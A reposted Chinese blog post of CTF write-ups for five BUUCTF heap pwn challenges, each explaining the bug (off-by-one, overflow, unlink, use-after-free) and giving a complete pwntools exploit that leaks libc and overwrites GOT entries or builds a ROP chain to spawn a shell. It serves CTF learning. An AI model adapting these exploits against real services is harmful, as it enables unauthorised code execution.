BUUCTF-PWN刷题记录-3

hitcontraining_heapcreator

在这里插入图片描述
考虑修改GOT表
在这里插入图片描述
在edit函数中可以溢出一个byte
这题需要利用堆重叠的方法,因为free之后会置空,只能利用堆重叠进行重复分配
利用思路如下:

  1. 先申请三个heap,其中heap[0]的内容大小为8的奇数倍
  2. 使用edit溢出修改heap[1]的chunk的size,把heap[2]的内容部分包括进去
  3. delete heap[1],然后申请同样大小的一个块
  4. 此时使用edit把heap[2]的content指针改为free的got表
  5. show heap[2],得到Libc基地址,计算system地址
  6. 把free GOT改为system的地址

Exp:

from pwn import *
from LibcSearcher import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Size of Heap : ")
	r.sendline(str(size))
	print r.recvuntil("Content of heap:")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('4')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def edit(index, content):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))
	print r.recvuntil("Content of heap : ")
	r.send(content)

def show(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))
	

r = remote("node3.buuoj.cn", 26329)
#r = process("./hitcontraining_heapcreator")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400D60
	c
	''')
context(arch = "amd64", os = 'linux')
elf = ELF("./hitcontraining_heapcreator")
free_got = elf.got['free']

add(0x18, 'a\n')
add(0x10, 'a\n')
add(0x10, 'a\n')

payload = '/bin/sh\x00' + 'a' * 0x10 + '\x81'
edit(0, payload)
delete(1)

payload = p64(0) * 8 + p64(8) + p64(free_got)
add(0x70, payload)

show(2)

print r.recvuntil("Content : ")
free_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system = libc_base + libc.dump("system")
success("free:" + hex(free_addr))
success("system:" + hex(system))

edit(2, p64(system))
delete(0)
r.interactive()

hitcontraining_bamboobox

在这里插入图片描述
依然考虑修改GOT表
在这里插入图片描述
这题的漏洞在edit函数中,可以进行堆溢出,本题考虑使用unlink攻击
利用思路如下

  1. 申请四个item,其中item[3]的内容为/bin/sh
  2. 编辑item[1],溢出修改item[2]把item[1]的chunk状态变为空闲,并在item[1]中伪造chunk,大小为0x30,把fd变为itemlist-0x18,bk变为itemlist-0x10
  3. 释放item[2],此时item[1]就指向itemlist
  4. 把tem[0]改为free的got表,泄露,修改

Exp:

from pwn import *

def add(size, content):
	print r.recvuntil("Your choice:")
	r.sendline('2')
	print r.recvuntil("Please enter the length of item name:")
	r.sendline(str(size))
	print r.recvuntil("Please enter the name of item:")
	r.send(content)

def edit(index, size, content):
	print r.recvuntil("Your choice:")
	r.sendline('3')
	print r.recvuntil("Please enter the index of item:")
	r.sendline(str(index))
	print r.recvuntil("Please enter the length of item name:")
	r.sendline(str(size))
	print r.recvuntil("Please enter the new name of the item:")
	r.send(content)

def free(index):
	print r.recvuntil("Your choice:")
	r.sendline('4')
	print r.recvuntil("Please enter the index of item:")
	r.sendline(str(index))

def show():
	print r.recvuntil("Your choice:")
	r.sendline('1')

r = remote("node3.buuoj.cn", 26406)

#r = process("./hitcontraining_bamboobox")
libc = ELF('./libc/libc-2.23.so')
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400E47
	c
	''')
elf = ELF("./hitcontraining_bamboobox")
free_got = elf.got['free']
puts_got = elf.got['puts']
ptr = 0x6020d8

add(0x30,'a')#0
add(0x30,'a')#1
add(0x80,'b')#2
add(0x80,'/bin/sh')#3

#r.interactive()
edit(1,0x100,p64(0)+p64(0x31)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*0x10+p64(0x30)+p64(0x90))
free(2)
edit(1,0x100,p64(0x30)+p64(puts_got))#1
show()
r.recvuntil('0 : ')
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
sys = libc_base + libc.sym['system']
#sys=puts_addr - 0x2a300

edit(1,0x100,p64(0x30)+p64(free_got))
edit(0,0x100,p64(sys))
free(3)

r.interactive()

jarvisoj_level6_x64 (jarvisoj_guestbook2)

level6的64位版本和guestbook2漏洞是一模一样的,就是菜单有点不同
在这里插入图片描述
仍然考虑修改GOT表
在这里插入图片描述
漏洞在删除函数中,一是可以多次删除,二是free之后没有置空
在这里插入图片描述
此外读content的函数也有漏洞,就是没有在末尾加\x00
对比一下安全的read
在这里插入图片描述
漏洞利用过程如下

  1. 添加四个Note
  2. 释放note[0]和note[2],此时note[0]的bk指向note[2]的chunk,note[2]的bk指向main_arena+0x58(两个chunk都进入unsorted bin)
  3. 再次添加2个note,payload长度为8,注意结尾不要是\x00
  4. 利用show泄露NOTE管理块的地址和libc基地址
  5. 将四个note全部删除
  6. 添加一个note,长度要能包含进最开始的3个note的chunk
  7. 伪造一个chunk,大小为0x80,fd为note[0]-0x18, bk为note[0]-0x10,利用unlink把NOTE管理块中note[0]的地址改为note[0]-0x18(对unlink利用有疑问可以参考这篇文章 攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
  8. 把note]0]改为atoi的got,然后编辑note[0],改为system地址
  9. 输入/bin/sh,获取shell

Exp:

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 29332)
#r = process("./jarvisoj_level6_x64")

#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x4010A8
	c
	x/gx 0x6020a8
	''')
elf = ELF("./jarvisoj_level6_x64")
libc = ELF('./libc/libc-2.23.so')
atoi_got = elf.got['atoi']

def add(size, content):
	print r.recvuntil("Your choice: ")
	r.sendline('2')
	print r.recvuntil("Length of new note: ")
	r.sendline(str(size))
	print r.recvuntil("Enter your note: ")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice: ")
	r.sendline('4')
	print r.recvuntil("Note number: ")
	r.sendline(str(index))

def show():
	print r.recvuntil("Your choice: ")
	r.sendline('1')

def edit(index, size, content):
	print r.recvuntil("Your choice: ")
	r.sendline('3')
	print r.recvuntil("Note number: ")
	r.sendline(str(index))
	print r.recvuntil("Length of note: ")
	r.sendline(str(size))
	print r.recvuntil("Enter your note: ")
	r.send(content)

add(0x80, 'a' * 0x80)#0
add(0x80, 'a' * 0x80)#1
add(0x80, 'a' * 0x80)#2
add(0x80, 'a' * 0x80)#3

delete(0)
delete(2)

add(8, '12345678')
add(8, '12345678')
show()
r.recvuntil("12345678")
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x1940
success("heap:"+hex(heap))
r.recvuntil("12345678")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
success("libc_base:"+hex(libc_base))
success("system:" + hex(system))

delete(3)
delete(2)
delete(1)
delete(0)

payload = p64(0) + p64(0x81) + p64(heap+0x30-0x18) + p64(heap+0x30-0x10) + 'a' * 0x60
payload += p64(0x80) + p64(0x90) + 'a' * 0x80 + p64(0) + p64(0x91) + 'a' * 0x80
add(len(payload), payload)

delete(1)

payload2 = p64(8) + p64(1) + p64(8) + p64(atoi_got)
payload2 = payload2.ljust(len(payload), 'a')
edit(0, len(payload2), payload2)
payload = p64(system)
edit(0, len(payload), payload)

r.recvuntil('Your choice: ')
r.sendline('/bin/sh\x00')
r.interactive()

jarvisoj_level6

在这里插入图片描述
本题漏洞利用思路同上一题,不过有几个需要注意的地方

  1. 在x86下,unsorted bin 指向地址为main_arena + 0x30,而main_arena与__malloc_hook之间距离为0x18
  2. 本题malloc时仍然有128的对其,但32位下chunk的Head部分大小为8bytes,因此chunk之间的距离为0x88
  3. 修改note[0]为strtol的got时,注意大小设为4

Exp:

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26853)
#r = process("./jarvisoj_level6")

#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x080487C4
	c
	x/wx 0x0804A2EC
	''')
elf = ELF("./jarvisoj_level6")
libc = ELF('./libc/libc-2.23_32.so')
atoi_got = elf.got['strtol']

def add(size, content):
	print r.recvuntil("Your choice: ")
	r.sendline('2')
	print r.recvuntil("Length of new note: ")
	r.sendline(str(size))
	print r.recvuntil("Enter your note: ")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice: ")
	r.sendline('4')
	print r.recvuntil("Note number: ")
	r.sendline(str(index))

def show():
	print r.recvuntil("Your choice: ")
	r.sendline('1')

def edit(index, size, content):
	print r.recvuntil("Your choice: ")
	r.sendline('3')
	print r.recvuntil("Note number: ")
	r.sendline(str(index))
	print r.recvuntil("Length of note: ")
	r.sendline(str(size))
	print r.recvuntil("Enter your note: ")
	r.send(content)

add(0x80, 'a' * 0x80)#0
add(0x80, 'a' * 0x80)#1
add(0x80, 'a' * 0x80)#2
add(0x80, 'a' * 0x80)#3

delete(0)
delete(2)

add(4, '1234')
add(4, '1234')
show()
r.recvuntil("1234")
heap = u32(r.recv(4)) - 0xD28
success("heap:"+hex(heap))
r.recvuntil("1234")
malloc_hook = u32(r.recv(4)) - 0x30 - 0x18
libc_base = malloc_hook - libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))
success("system:" + hex(system))


delete(3)
delete(2)
delete(1)
delete(0)

payload = p32(0) + p32(0x81) + p32(heap+0x18-0xc) + p32(heap+0x18-0x8) + 'a' * 0x70
payload += p32(0x80) + p32(0x88) + 'a' * 0x80 + p32(0) + p32(0x89) #+ 'a' * 0x80
add(len(payload), payload)

delete(1)

payload2 = p32(8) + p32(1) + p32(4) + p32(atoi_got)
payload2 = payload2.ljust(len(payload), 'a')
edit(0, len(payload2), payload2)

payload = p32(system)
edit(0, len(payload), payload)


r.recvuntil('Your choice: ')
r.sendline('/bin/sh\x00')
r.interactive()

jarvisoj_itemboard

在这里插入图片描述
这是一道UAF和栈溢出结合使用的题目
在这里插入图片描述
free之后指针没有置空

在这里插入图片描述
在添加函数中存在一个栈溢出漏洞
利用过程如下

  1. 添加三个item
  2. 释放item[0],item[1],通过show(0)泄露出main_arena+0x58的地址,show(1)泄露堆上的一个地址,经调试发现该地址+0x18处指向堆上另一个chunk
  3. 添加新的item,在添加函数中覆盖其返回地址获得shell,注意payload构造为:‘a’ * 0x408 + p64(heap+0x10) + ‘a’ * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system)
    其中rbp-8处为栈上item的地址,如果构造不当在strcpy中会报错,而strcpy中传参过程如下
    在这里插入图片描述
    所以最后strcpy的rdi传入的值为栈上item地址+8,上文以及提到经调试发现该地址+0x18处指向堆上另一个chunk,所以可以使strcpy成功执行

Exp:

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 27653)
#r = process("./jarvisoj_itemboard")

context.log_level = 'debug'
elf = ELF("./jarvisoj_itemboard")
libc = ELF('./libc/libc-2.23.so')
free_got = elf.got['free']


def add(name, size, content):
	print r.recvuntil("choose:\n")
	r.sendline('1')
	print r.recvuntil("Item name?\n")
	r.send(name)
	print r.recvuntil("Description's len?\n")
	r.sendline(str(size))
	print r.recvuntil("Description?\n")
	r.send(content)

def delete(index):
	print r.recvuntil("choose:\n")
	r.sendline('4')
	print r.recvuntil("Which item?\n")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("choose:\n")
	r.sendline('3')
	print r.recvuntil("Which item?\n")
	r.sendline(str(index))

def list():
	print r.recvuntil("choose:\n")
	r.sendline('2')

add('a\n', 0x80, 'a\n')#0
add('b\n', 0x80, 'a\n')#1
add('/bin/sh\x00\n', 0x80, '/bin/sh\x00\n')#2
delete(0)
delete(1)

show(0)
r.recvuntil("Description:")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x58 - 0x10
success("malloc_hook:"+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
pop_rdi = 0x021102 + libc_base
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))

show(1)
r.recvuntil("Description:")
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))

payload = 'a' * 0x408 + p64(heap+0x10) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system)
add('c\n', len(payload), payload)
r.interactive()
发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105197737